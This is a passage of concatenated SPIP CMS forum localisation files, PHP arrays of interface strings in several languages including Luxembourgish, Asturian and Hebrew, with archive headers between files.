).', # MODIF
'bouton_radio_modere_abonnement' => 'Fòk yon abònman',
'bouton_radio_modere_posteriori' => 'Modewe dèyè', # MODIF
'bouton_radio_modere_priori' => 'modewe avan', # MODIF
'bouton_radio_publication_immediate' => 'Piblikasyon imedyat pout tout mesaj
(patisipasyon ke afiche dirèkman yo te voye, komandè rès kapab kraze y aprè
).',
// F
'form_pet_message_commentaire' => 'Gen yon mesaj, yon komanté pou di ?',
'forum' => 'Fowom',
'forum_acces_refuse' => 'W ap pli laksé pou fowom-nan.',
'forum_attention_dix_caracteres' => '<b>Atansyon !</b> mesaj ou li se mwen di lèt.',
'forum_attention_trois_caracteres' => '<b>Atansyon !</b> Kouman i rele sit-la se mwen trwa lèt. Fôk w mèt trwa lèt omwen',
'forum_attention_trop_caracteres' => '<b>Atansyon !</b> mesaje a w se tro lon (@compte@ caractères) : fòk w respek @max@ karaktèr pou enskri ali.', # MODIF
'forum_avez_selectionne' => 'W te chwazi :',
'forum_cliquer_retour' => 'Klik <a href=\'@retour_forum@\'>isit</a> pou kontinye.',
'forum_forum' => 'fowom',
'forum_info_modere' => 'Fowom la se modéwé-avann : patisipasyon demoun ke aparèt sèlman apré yon komandèr sit te valide ali.', # MODIF
'forum_lien_hyper' => '<b>Lyen ipèrtèks</b> (w pa oblijé)', # MODIF
'forum_message_definitif' => 'Mesaj fin fini : anvway anndan sit la',
'forum_message_trop_long' => 'Mesaj ou se tro lon. Pli gran tay se 20000 kawaktè.', # MODIF
'forum_ne_repondez_pas' => 'Reponn pa limèl la. Reponn anndan fowom-an sou ladrès la :', # MODIF
'forum_page_url' => '(Si mesaj ou ka voye sou yon tik sou Wèb déò ou yon lòt paj pli konplé, mèsi mèt anba kouman paj la ka rele èk ladrès URL.)',
'forum_poste_par' => 'Mesaj te poste @parauteur@ anba atik ou-a.', # MODIF
'forum_qui_etes_vous' => '<b>Kouman w rele ?</b> (pa oblijé)', # MODIF
'forum_texte' => 'Teks mesaj ou :', # MODIF
'forum_titre' => 'Kouman i rele mesaj ou :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Apiyé chwa-a',
'forum_voir_avant' => 'Gad mesaj la avan post ali', # MODIF
'forum_votre_email' => 'Ladrès limèl ou :', # MODIF
'forum_votre_nom' => 'Kouman w rele (ousinon kouman w vlé rele isit) :', # MODIF
'forum_vous_enregistrer' => 'Pou soutni andan
fowom-nan, fòk w enskri avan. Mési
mèt enba lidantifyan pèsonèl ou-a
kis nou té don a w. Si w ap pa enskri ankò, fòk w',
'forum_vous_inscrire' => 'enskri w.',
// I
'icone_poster_message' => 'Poste yon mesaj',
'icone_suivi_forum' => 'Swiv fowom piblik la : @nb_forums@ mesaj',
'icone_suivi_forums' => 'Swiv/okipe tout fowom ',
'icone_supprimer_message' => 'Kraze mesaj la',
'icone_valider_message' => 'Konfime mesaj la',
'info_activer_forum_public' => '<i>Pou fowom piblik mache, mési chwazi manyir modèr a y otomatikman
:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Fè mache chwa nan pou modéwasyon :',
'info_desactiver_forum_public' => 'Pou fé fowom piblik pa mache. Fowom yo ke mache yon pa yon si w vlé
anba atik yo ; y ke entèdi pou tout ribrik yo, é tinouvèl yo...',
'info_envoi_forum' => 'Voye fowom yo pou tout loté atik yo',
'info_fonctionnement_forum' => 'Kouman fowom i mache :',
'info_gauche_suivi_forum_2' => 'Paj <i>swivi fowom yo</i> se outiy pou sit w (kontrè yon espas pou soutni ek ekri ant zot itlizatè. Li afich tout patispasyon nan fowom sou sit piblik tankou espas privé ak li ran aw kapab okipe yo.', # MODIF
'info_liens_syndiques_3' => 'fowom yo',
'info_liens_syndiques_4' => 'se',
'info_liens_syndiques_5' => 'fowom',
'info_liens_syndiques_6' => 'se',
'info_liens_syndiques_7' => 'fowom ki tann konfime',
'info_mode_fonctionnement_defaut_forum_public' => 'Kouman tout fowom piblik mache otomatikman',
'info_option_email' => 'Kan yon vizitè ap voye yon nouvo mesaj nan fowom sou yon atik
se posib alèt tout lotè atik la
ak yon limèl. W vle itilize opsyon nan ?', # MODIF
'info_pas_de_forum' => 'Okenn fowom',
'item_activer_forum_administrateur' => 'Fé mache fowom pou komandé yo ',
'item_desactiver_forum_administrateur' => 'Rete fowom pou komandé yo',
// L
'lien_reponse_article' => 'Réponn atik-la',
'lien_reponse_breve_2' => 'Réponn tinouvèl-la',
'lien_reponse_rubrique' => 'Réponn ribrik-la',
'lien_reponse_site_reference' => 'Reponn sit referanse-a :', # MODIF
// O
'onglet_messages_internes' => 'Mesaj yo ki andan sit-la',
'onglet_messages_publics' => 'Mesaj piblik yo',
'onglet_messages_vide' => 'Mesaj yo ki gen pa oken tèks',
// R
'repondre_message' => 'Reponn sou mesaj la',
// T
'titre_cadre_forum_administrateur' => 'Fowom privé pou komandè yo',
'titre_cadre_forum_interne' => 'Fowom andedan',
'titre_forum' => 'Fowom',
'titre_forum_suivi' => 'Swivi fowom yo',
'titre_page_forum_suivi' => 'Pou swiv tout fowom yo'
);
?>
forum_lb.php 0000666 00000023317 15252247467 0007112 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Kee Message am Forum',
// B
'bouton_radio_articles_futurs' => 'nëmmen fir nei Artikelen (keng Aktioun op d’Datebank).',
'bouton_radio_articles_tous' => 'fir all nei Artikelen ouni Ausnahm.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'fir all Artikelen, ausser déi wou de Forum ausgeschalt ass.',
'bouton_radio_enregistrement_obligatoire' => 'Obligatorescht Aschreiwen (d’Benotzer mussen sech umellen andeem si hier Email-Adress uginn ier se hier Message kënne schécken).',
'bouton_radio_moderation_priori' => 'Moderatioun à priori (d’Message ginn eréischt verëffentlecht nodeems se vun engem Administrateur bestätegt goufen).',
'bouton_radio_modere_abonnement' => 'op Abonnement',
'bouton_radio_modere_posteriori' => 'Moderatioun à posteriori',
'bouton_radio_modere_priori' => 'Moderatioun à priori',
'bouton_radio_publication_immediate' => 'Direkt Verëffentlechung vun de Messagen (d’Message ginn direkt nom Schécken siichtbar, d’Administrateure kënnen se duerno läschen).',
// D
'documents_interdits_forum' => 'Dokumenter sinn am Forum net erlaabt',
// E
'erreur_enregistrement_message' => 'Äre Message konnt duerch en technesche Problem net gespäichert ginn',
// F
'form_pet_message_commentaire' => 'E Message, e Kommentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Dir hutt keen Zougang méi zu dëse Forumen.',
'forum_attention_dix_caracteres' => '<b>Opgepasst!</b> Äre Message muss op mannst 10 Buschtawen hunn.',
'forum_attention_message_non_poste' => 'Opgepasst, dir hutt äre Message net fortgeschéckt!',
'forum_attention_nb_caracteres_mini' => '<b>Opgepasst!</b> Äre Message muss mindestens @min@ Buschtawen hunn.',
'forum_attention_trois_caracteres' => '<b>Opgepasst!</b> Ären Titel muss op mannst 3 Buschtawen hunn.',
'forum_attention_trop_caracteres' => '<b>Opgepasst!</b> Äre Message ass ze laang (@compte@ Buschtawen). Fir gespäichert ze ginn däerf e net méi wéi @max@ Buschtawen hunn.',
'forum_avez_selectionne' => 'Dir hutt gewielt:',
'forum_cliquer_retour' => '<a href=\'@retour_forum@\'>Hei klicken</a> fir weider.',
'forum_forum' => 'Forum',
'forum_info_modere' => 'Dëse Forum ass "à priori" moderéiert: äre Beitrag geet eréischt verëffentlecht wann e vun engem Administrateur vum Site bestätegt ass.',
'forum_lien_hyper' => 'Link',
'forum_message' => 'Äre Message',
'forum_message_definitif' => 'Definitive Message: op de Site schécken',
'forum_message_trop_long' => 'Äre Message ass ze laang. D’maximal Gréisst ass 20.000 Buschtawen.',
'forum_ne_repondez_pas' => 'Äntwert net op dësen Email mais am Forum op dëser Adress:',
'forum_page_url' => '(Wann äre Message sech op en Artikel vum Internet bezitt oder op eng Säit déi méi Informatiounen gëtt, kënnt dir hei den Titel an d’Adress vun der Säit uginn.)',
'forum_permalink' => 'Permalink op de Kommentar',
'forum_poste_par' => 'Message geschéckt vun @parauteur@ als Folleg vum Artikel "@titre@".', # MODIF
'forum_qui_etes_vous' => 'Wie sidd Dir?',
'forum_saisie_texte_info' => 'Dëse Formulär akzeptéiert SPIP-Ofkierzungen <code>[->url] {{fett}} {schräg} <quote> <code></code> an den HTML-Code <code><q> <del> <ins></code>. Fir nei Abschnitter, loosst eidel Zeilen.',
'forum_texte' => 'Text vun ärem Message',
'forum_titre' => 'Titel',
'forum_url' => 'Äre Website',
'forum_valider' => 'Är Wiel bestätegen',
'forum_voir_avant' => 'Virschau',
'forum_votre_email' => 'Är Email-Adress',
'forum_votre_nom' => 'Äre Numm',
'forum_vous_enregistrer' => 'Fir bei dësem Forum matzemaachen, muss dir Iech fir d’éischt umellen. Gidd hei är perséinlech Identifikatioun un déi der krut. Wann dir net ugemellt sidd, da musst dir',
'forum_vous_inscrire' => 'Iech aschreiwen.',
// I
'icone_bruler_message' => 'Als Spam mellen',
'icone_bruler_messages' => 'Als Spam mellen',
'icone_legitimer_message' => 'Als kee Spam mellen',
'icone_poster_message' => 'Message schécken',
'icone_suivi_forum' => 'Den ëffentlechen Forum verfollegen: @nb_forums@ Beiträg',
'icone_suivi_forums' => 'Forume verfollegen',
'icone_supprimer_message' => 'Dëse Message läschen',
'icone_supprimer_messages' => 'Dës Message läschen',
'icone_valider_message' => 'Dëse Message bestätegen',
'icone_valider_messages' => 'Dës Message bestätegen',
'icone_valider_repondre_message' => 'Bestätegen an op dëse Message äntweren',
'info_1_message_forum' => '1 Message am Forum',
'info_activer_forum_public' => 'Fir déi ëffentlech Forumen anzeschalten, wielt d’Moderatiouns-Method:',
'info_appliquer_choix_moderation' => 'Dës Moderatiouns-Method benotzen:',
'info_config_forums_prive' => 'Am privaten Deel vum Site kënnt dir e puer Forumen aschalten:',
'info_config_forums_prive_admin' => 'E reservéierte Forum fir d’Administrateure vum Site:',
'info_config_forums_prive_global' => 'E globale Forum fir all Redakteren:',
'info_config_forums_prive_objets' => 'E Forum ënnert all Artikel, Kuerzmeldung, verlinkte Site, asw.:',
'info_desactiver_forum_public' => 'Déi ëffentlech Forumen ausschalten. Ëffentlech Forume kënne vu Fall zu Fall pro Artikel ageschalt ginn; awer net op de Rubriken, Kuerzmeldungen, asw.',
'info_envoi_forum' => 'D’Forum-Messagen un d’Auteuren vun den Artikele schécken',
'info_fonctionnement_forum' => 'Fonctionnement vum Forum:',
'info_forums_liees_mot' => 'Forum-Messagen déi mat dësem Wuert verbonne sinn',
'info_gauche_suivi_forum_2' => 'D’Säit <i>Forume verfollegen</i> ass fir d’Gestioun vum Forum a net fir ze diskutéieren oder ze schreiwen. Si weist all d’Beiträg vun de Forume vum Site, déi ëffentlech an déi privat, an dir kënnt d’Beiträg beaarbechten.',
'info_liens_syndiques_3' => 'Forumen',
'info_liens_syndiques_4' => 'sinn',
'info_liens_syndiques_5' => 'Forum',
'info_liens_syndiques_6' => 'ass',
'info_liens_syndiques_7' => 'waarden op d’Bestätegung',
'info_liens_texte' => 'Linken aus dem Text vum Message',
'info_liens_titre' => 'Linken aus dem Titel vum Message',
'info_mode_fonctionnement_defaut_forum_public' => 'Default-Méthod vun den ëffentleche Forumen',
'info_nb_messages_forum' => '@nb@ Messagen am Forum',
'info_option_email' => 'Wann e Visiteur vum Site e neie Message an de Forum vun engem Artikel schéckt, kennen d’Auteuren vum Artikel via Email Bescheed kréien. Wëllt dir dës Optioun benotzen?',
'info_pas_de_forum' => 'kee Forum',
'info_question_visiteur_ajout_document_forum' => 'Wann dir de Visiteuren erlaabt Dokumenter (Biller, Toun...) bei Forum-Message bäizeflécken, da gitt hei d’Lëscht vun den Extensiounen un déi erlaabt sinn (z.B.: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Wann dir all Type wëllt erlaben déi SPIP als sécher ukuckt, dann gitt e Stär an. Fir näischt ze erlaben, gitt näischt an.',
'info_selectionner_message' => 'Message wielen:',
'interface_formulaire' => 'Formulär-Interface',
'interface_onglets' => 'Interface mat Tabs',
'item_activer_forum_administrateur' => 'De Forum vun den Adminstrateuren aschalten',
'item_config_forums_prive_global' => 'De Redaktor-Forum aschalten',
'item_config_forums_prive_objets' => 'Forumen aschalten',
'item_desactiver_forum_administrateur' => 'De Forum vun den Administrateuren ofschalten',
'item_non_config_forums_prive_global' => 'De Redaktor-Forum ofschalten',
'item_non_config_forums_prive_objets' => 'Forumen ofschalten',
// L
'label_selectionner' => 'Wielen:',
'lien_reponse_article' => 'Äntwert op den Artikel',
'lien_reponse_breve_2' => 'Äntwert op d’Kuerzmeldung',
'lien_reponse_message' => 'Op de Message äntweren',
'lien_reponse_rubrique' => 'Äntwert op d’Rubrik',
'lien_reponse_site_reference' => 'Äntwert op de verlinkte Site',
'lien_vider_selection' => 'Näischt auswielen',
// M
'messages_aucun' => 'Keen',
'messages_meme_auteur' => 'All d’Message vun dësem Auteur',
'messages_meme_email' => 'All d’Message vun dësem Email',
'messages_meme_ip' => 'All d’Message vun dëser IP',
'messages_off' => 'Geläscht',
'messages_perso' => 'Perséinlech',
'messages_privadm' => 'Administrateuren',
'messages_prive' => 'Privat',
'messages_privoff' => 'Geläscht',
'messages_privrac' => 'Generell',
'messages_prop' => 'Virgeschloen',
'messages_publie' => 'Verëffentlecht',
'messages_spam' => 'Spam',
'messages_tous' => 'All',
// O
'onglet_messages_internes' => 'Intern Messagen',
'onglet_messages_publics' => 'Ëffentlech Messagen',
'onglet_messages_vide' => 'Messagen ouni Text',
// R
'repondre_message' => 'Op dëse Message äntweren',
// S
'statut_off' => 'Geläscht',
'statut_original' => 'Original',
'statut_prop' => 'Virgeschloen',
'statut_publie' => 'Verëffentlecht',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Zeckt net är Meenung am Forum vun dësem Artikel ze soën (ënnen op der Säit).',
'texte_en_cours_validation' => 'Dës Inhalter waarden op Bestätegung.',
'texte_en_cours_validation_forum' => 'Sot är Meenung am Forum deen dozou gehéiert.',
'texte_messages_publics' => 'Ëffentlech Messagen op:',
'titre_cadre_forum_administrateur' => 'Privat-Forum vun den Administrateuren',
'titre_cadre_forum_interne' => 'Interne Forum',
'titre_config_forums_prive' => 'Forume vum privaten Deel',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Beaarbechte vun de Forumen',
'titre_page_forum_suivi' => 'Beaarbechte vun de Forumen',
'titre_selection_action' => 'Auswiel',
'tout_voir' => 'Alles gesinn',
// V
'voir_messages_objet' => 'd’Message gesinn'
);
?>
forum_nap.php 0000666 00000006640 15252247467 0007273 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=nap
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'form_pet_message_commentaire' => 'Nu messaggio, na crosa?',
'forum_acces_refuse' => 'Nun putite cchiú trasí ’int’a chisti forum.',
'forum_attention_dix_caracteres' => '<b>Tenite mente!</b> ’o messaggio d’’o vuosto ha dda tené ammeno diece carattere.',
'forum_attention_trois_caracteres' => '<b>Tenite mente!</b> ’o título ha dda tené ammeno tre carattere.',
'forum_attention_trop_caracteres' => '<b>Tenite mente!</b> ’o messaggio è troppo luongo (@compte@ carattere): pe vve puté allegistrà nun ha dda passà ’e @max@ carattere.', # MODIF
'forum_avez_selectionne' => 'Avite scèveto:',
'forum_cliquer_retour' => 'Spremmite <a href=\\\'@retour_forum@\\\'>ccà</a> pe jí nnanze.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Chistu forum è moderato a priori: ’o cuntributo d’’o vuosto sarrà on line adoppo ca n’ammenestratore d’’o sito ll’appruvarrà.', # MODIF
'forum_lien_hyper' => '<b>Jonta ipertestuale</b> (opzionale)', # MODIF
'forum_message_definitif' => 'Messaggio deffenetivo: mannatelo ô sito',
'forum_message_trop_long' => '’O messaggio d’’o vuosto è troppo luongo. Ha dda tené nu massimo ’e 20000 carattere.', # MODIF
'forum_ne_repondez_pas' => 'Nun responnere a chistu messaggio e-mail, rispunne ncopp’ô forum ô nnerizzo innicato ccà: ', # MODIF
'forum_page_url' => '(Si ’o messaggio d’’o vuosto è referuto a n’artículo pubbrecato ncopp’â Web, o a na pàggena ca tene cchiú nfromma, putite innicà ccà ’o título d’’a pàggina e ’o nnerizzo URL.)',
'forum_poste_par' => 'Messaggio mannato ’a @parauteur@ ô funno ’e ll’artículo « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Chi site?</b> (opzionale)', # MODIF
'forum_texte' => 'Testo d’’o messaggio:', # MODIF
'forum_titre' => 'Título:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Abbalurate â scèveta',
'forum_voir_avant' => 'Vedite ’o messaggio primma d’’o mannà', # MODIF
'forum_votre_email' => 'Nnerizzo ’e posta elettrònica:', # MODIF
'forum_votre_nom' => 'Nomme (o scagnanomme/pseudonimo):', # MODIF
'forum_vous_enregistrer' => 'Pe ppartecipà ô forum, v’avite allegistrà primma. Si l’avite fatto già, scrivite ccà ll’ID d’’a vuosta. Si nun l’avite fatto ancora, v’avite ',
'forum_vous_inscrire' => 'nscrivere primma.',
// I
'icone_suivi_forums' => 'Ammenestrazzione d’’e forum',
'icone_supprimer_message' => 'Canciella ô messaggio',
'icone_valider_message' => 'Appruvate ô messaggio',
'info_activer_forum_public' => '<i>Per attivare i forum pubblici, scegli il tipo
di moderazione predefinito:</i>', # MODIF
'info_option_email' => 'Quando un visitatore del sito inserisce un nuovo messaggio nel forum
associato a un articolo, gli autori di quest’ultimo possono essere
avvertiti via email. Desideri utilizzare quest’opzione?', # MODIF
// L
'lien_reponse_site_reference' => 'Risposta al sito repertoriato:', # MODIF
// O
'onglet_messages_internes' => 'Messagge ’e dint’ô sito',
'onglet_messages_publics' => 'Messagge púbbreche',
'onglet_messages_vide' => 'Messagge vacante',
// T
'titre_forum' => 'Forum'
);
?>
forum_rn.php 0000666 00000001035 15252247467 0007125 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=rn
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'ku nkuru zizokurikira(ntaco bihindura kuri SQL).',
'bouton_radio_articles_tous' => 'ku nkuru zose atakuvangura.',
// F
'forum' => 'Ikiyago',
// R
'repondre_message' => 'Kwishura kuri ubu butumwa'
);
?>
forum_ast.php 0000666 00000017067 15252247467 0007311 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'sólo pa los artículos futuros (ensin actuar so la base de datos).',
'bouton_radio_articles_tous' => 'pa tolos artículos ensin esceición.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'pa tolos artículos, menos los que tengan el foru desactiváu.',
'bouton_radio_enregistrement_obligatoire' => 'Rexistru obligatoriu (los usuarios
tienen que abonase coles sos señes d’e-mail enantes
de que puedan escribir les sos contribuciones).',
'bouton_radio_moderation_priori' => 'Moderación a priori (les contribuciones
nun apaecerán en públicu hasta que les validen
los alministradores).', # MODIF
'bouton_radio_modere_abonnement' => 'pa abonáos',
'bouton_radio_modere_posteriori' => 'moderación a posteriori',
'bouton_radio_modere_priori' => 'moderación a priori',
'bouton_radio_publication_immediate' => 'Espublizar d’inmediatu los mensaxes
(les contribuciones s’amuesen desque s’unvíen, los alministradores pueden
desaniciales llueu).',
// D
'documents_interdits_forum' => 'Documentos torgaos nel foru',
// F
'form_pet_message_commentaire' => '¿Un mensaxe, un comentariu?',
'forum' => 'Foru',
'forum_acces_refuse' => 'Ya nun ties accesu a estos foros.',
'forum_attention_dix_caracteres' => '<b>¡Atención!</b> el mensaxe tien que tener polo menos diez carauteres.',
'forum_attention_trois_caracteres' => '<b>¡Atención!</b> el títulu tien que tener polo menos tres carauteres.',
'forum_attention_trop_caracteres' => '<b>¡Atención!</b> esti mensaxe ye enforma llargu (@compte@ carauteres): pa que pueda rexistrase, nun tien que pasar de @max@ carauteres.', # MODIF
'forum_avez_selectionne' => 'Seleicionasti:',
'forum_cliquer_retour' => 'Calca <a href=\'@retour_forum@\'>equí</a> pa continuar.',
'forum_forum' => 'foru',
'forum_info_modere' => 'Esti foru ta llendáu de mano: la to aportación nun va apaecer fasta qu’un alministrador del sitiu nun-y de el preste.', # MODIF
'forum_lien_hyper' => '<b>Enllace d’hipertestu</b> (opcional)', # MODIF
'forum_message_definitif' => 'Mensaxe definitivu: unviar al sitiu',
'forum_message_trop_long' => 'El to mensaxe ye enforma llargu. El tamañu másimu ye de 20000 carauteres.', # MODIF
'forum_ne_repondez_pas' => 'Nun responder a esti corréu sinón nel foru, nes señes darréu:',
'forum_page_url' => '(Si el to mensaxe refierse a un artículu espublizáu na Rede, o a una páxina que tenga más información, equí embaxo vas poder indicar el títulu de la páxina y les sos señes.)',
'forum_poste_par' => 'Mensaxe unviáu @parauteur@ tocante a l’artículu «@titre@».', # MODIF
'forum_qui_etes_vous' => '<b>¿Quién yes?</b> (opcional)', # MODIF
'forum_texte' => 'Testu del to mensaxe:', # MODIF
'forum_titre' => 'Títulu',
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar la escoyeta',
'forum_voir_avant' => 'Ver el mensaxe enantes de publicalu', # MODIF
'forum_votre_email' => 'Les tos señes d’email:', # MODIF
'forum_votre_nom' => 'El to nome (o nomatu):', # MODIF
'forum_vous_enregistrer' => 'Pa poder participar nesti
foru, primero hai que rexistrase.
Escribe embaxo l’identificador personal que
recibisti. Si nun tas rexistráu, ties que',
'forum_vous_inscrire' => 'inscribite.',
// I
'icone_poster_message' => 'Unviar un mensaxe',
'icone_suivi_forum' => 'Siguimientu del foru públicu: @nb_forums@ contribución(es)',
'icone_suivi_forums' => 'Siguir/xestionar los foros',
'icone_supprimer_message' => 'Desaniciar esti mensaxe',
'icone_valider_message' => 'Validar esti mensaxe',
'info_activer_forum_public' => '<i>Pa activar los foros públicos, has d’escoyer el tipu
de moderación por omisión:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar esta escoyeta pal llendamientu:',
'info_config_forums_prive' => 'Nel espaciu priváu del sitiu, puedes activar dellos tipos de foros:', # MODIF
'info_config_forums_prive_admin' => 'Un foru acutáu pa los alministradores del sitiu:',
'info_config_forums_prive_global' => 'Un foru global, abiertu pa tolos redactores:',
'info_config_forums_prive_objets' => 'Un foru pa cada artículu, breve, sitiu referenciáu, etc.:',
'info_desactiver_forum_public' => 'Desactivar l’usu de los foros publicos.
Los foros públicos podrán autorizase casu por casu
pa los artículos; pero tarán torgaos pa les estayes, breves, etc.',
'info_envoi_forum' => 'Unvíu de los foros a los autores de los artículos',
'info_fonctionnement_forum' => 'Funcionamientu del foru:',
'info_gauche_suivi_forum_2' => 'La páxina de <i>siguimientu de los foros</i> ye una ferramienta de xestión del sitiu Web (y non un espaciu pal discutiniu o la redaición). Amuesa toles contribuciones de los foros del sitiu, lo mesmo de la parte pública que del espaciu priváu y te permite remanar eses contribuciones.', # MODIF
'info_liens_syndiques_3' => 'foros',
'info_liens_syndiques_4' => 'tan',
'info_liens_syndiques_5' => 'foru',
'info_liens_syndiques_6' => 'ta',
'info_liens_syndiques_7' => 'esperando pola validación',
'info_mode_fonctionnement_defaut_forum_public' => 'Mou de funcionamientu por omisión de los foros públicos',
'info_option_email' => 'Cuando un visitante del sitiu unvía un mensaxe nuevu al foru venceyáu a un artículu, puede avisase a los o les autores del mesmu por e-mail. Escoyer pa cada tipu de foru si va emplegase esta opción.',
'info_pas_de_forum' => 'ensin foru',
'info_question_visiteur_ajout_document_forum' => 'Si quiés autorizar que los visitantes amesten documentos (imáxenes, sones...) nos sos mensaxes del foru, indica embaxo la llista d’estensiones de documentu permitíes nos foros (p. ex: gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Si quiés autorizar tolos tipos de documentu que SPIP considera fiables, pon un asteriscu. Pa nun autorizar na, déxalo en blancu,', # MODIF
'item_activer_forum_administrateur' => 'Activar el foru de los alministradores',
'item_config_forums_prive_global' => 'Activar el foru de los redactores',
'item_config_forums_prive_objets' => 'Activar estos foros',
'item_desactiver_forum_administrateur' => 'Desactivar el foru de los alministradores',
'item_non_config_forums_prive_global' => 'Desactivar el foru de los redactores',
'item_non_config_forums_prive_objets' => 'Desactivar estos foros',
// L
'lien_reponse_article' => 'Respuesta a l’artículu',
'lien_reponse_breve_2' => 'Respuesta a la breve',
'lien_reponse_rubrique' => 'Respuesta a la estaya',
'lien_reponse_site_reference' => 'Respuesta al sitiu referenciáu:', # MODIF
// O
'onglet_messages_internes' => 'Mensaxes internos',
'onglet_messages_publics' => 'Mensaxes públicos',
'onglet_messages_vide' => 'Mensaxes ensin testu',
// R
'repondre_message' => 'Responder a esti mensaxe',
// S
'statut_original' => 'orixinal',
// T
'text_article_propose_publication_forum' => 'Encamentamoste a dar la to opinión nel foru axuntu a esti artículu (embaxo de la páxina).',
'texte_en_cours_validation_forum' => 'Encamentámoste que opines usando los foros que tien xuníos.',
'titre_cadre_forum_administrateur' => 'Foru privau de los alministradores',
'titre_cadre_forum_interne' => 'Foru internu',
'titre_config_forums_prive' => 'Foros de l’espaciu priváu',
'titre_forum' => 'Foru',
'titre_forum_suivi' => 'Siguir foros',
'titre_page_forum_suivi' => 'Siguir los foros'
);
?>
forum_he.php 0000666 00000014213 15252247467 0007104 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'לכתבות הבאות בלבד(ללא פעולה בבסיס (הנתונים',
'bouton_radio_articles_tous' => 'לכל הכתבות ללא יוצא מן הכלל',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'לכל הכתבות, חוץ מאלה עם הפורומים הפסולים',
'bouton_radio_enregistrement_obligatoire' => 'שמירה הכרחית (ה
משתמשים צריכים להיות מנויים על ידי מסירת כתובת המייל שלהם לפני
שהם יוכלו לשלוח את תרומותיהם).',
'bouton_radio_moderation_priori' => 'בוררות מוקדמת (ה
תורמים מופיעים בציבור רק לאחר שהם מאושרים על ידי
האדמיניסטרטורים).', # MODIF
'bouton_radio_modere_abonnement' => 'צמצום על ידי מנוי',
'bouton_radio_modere_posteriori' => 'צמצום לאחר מכן', # MODIF
'bouton_radio_modere_priori' => 'צמצום מראש', # MODIF
'bouton_radio_publication_immediate' => 'פרסום מיידי של הודעות
(התרומות מופיעות מרגע שליחתן, האדמיניסטרטורים יכולים
למחקן לאחר מכן).',
// D
'documents_interdits_forum' => 'בשלב זה נאסר בפורום',
// F
'form_pet_message_commentaire' => 'יש לך תגובה או הודעה ?',
'forum' => 'פורום',
'forum_acces_refuse' => 'אין לך גישה לפורומים האלה יותר.',
'forum_attention_dix_caracteres' => '<b>שים לב!</b> ההודעה שלך צריכה לכלול לפחות עשר אותיות.',
'forum_attention_trois_caracteres' => '<b>שים לב!</b> הנושא שלך צריך לכלול לפחות שלוש אותיות.',
'forum_attention_trop_caracteres' => '<b>זהירות !</b> הודעתך ארוכה מדי (@compte@ caractères) : על מנת להישמר. היא צריכה לכולל פחות מ@max@ אותיות.', # MODIF
'forum_avez_selectionne' => 'הינך בחרת:',
'forum_cliquer_retour' => 'נא להקליק <a href=\'@retour_forum@\'>כאן</a> כדי להמשיך.',
'forum_forum' => 'פורום',
'forum_info_modere' => 'הפורום מתצמצם מראש: התרומה שלך תופיע רק אחרי אישור מנהלי האתר.', # MODIF
'forum_lien_hyper' => '<b>קישור</b> (אופציונלי)', # MODIF
'forum_message_definitif' => 'הודעה סופית : שלח לאתר',
'forum_message_trop_long' => 'ההודעה שלך ארוכה מדי. אורך מקסימלי של הודעה צריך להיות 20000 אותיות.', # MODIF
'forum_ne_repondez_pas' => 'אל תחזיר תשובה לדוא"ל הזה אבל בפורום בכתובת הבאה:', # MODIF
'forum_page_url' => '(אם הודעתך מופנית למאמר שמפורסם ברשת או לדף המספק מידע נוסף, בבקשה רשום את הכותרת של הדף והכתובת הכללית שלו.)',
'forum_poste_par' => 'הודעה נשלחה @parauteur@ העוסקת בכתבתך « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>מי את / אתה?</b> (אופציונלי)', # MODIF
'forum_texte' => 'טקסט של הודעתך :', # MODIF
'forum_titre' => 'נושא:', # MODIF
'forum_url' => 'כתובת כללית:', # MODIF
'forum_valider' => 'תן תוקף לבחירה הזאת',
'forum_voir_avant' => 'הצגה מוקדמת של ההודעה לפני פרסומה', # MODIF
'forum_votre_email' => 'כתובת הדוא"ל שלך:', # MODIF
'forum_votre_nom' => ':(השם שלך (או הכינוי', # MODIF
'forum_vous_enregistrer' => 'כדי להשתתף
לפורום זה, ההרשמה מחויבת
נא להכנסי את הפרטים האישים
שנשלחו לך. אם אינך מרשם, עליך',
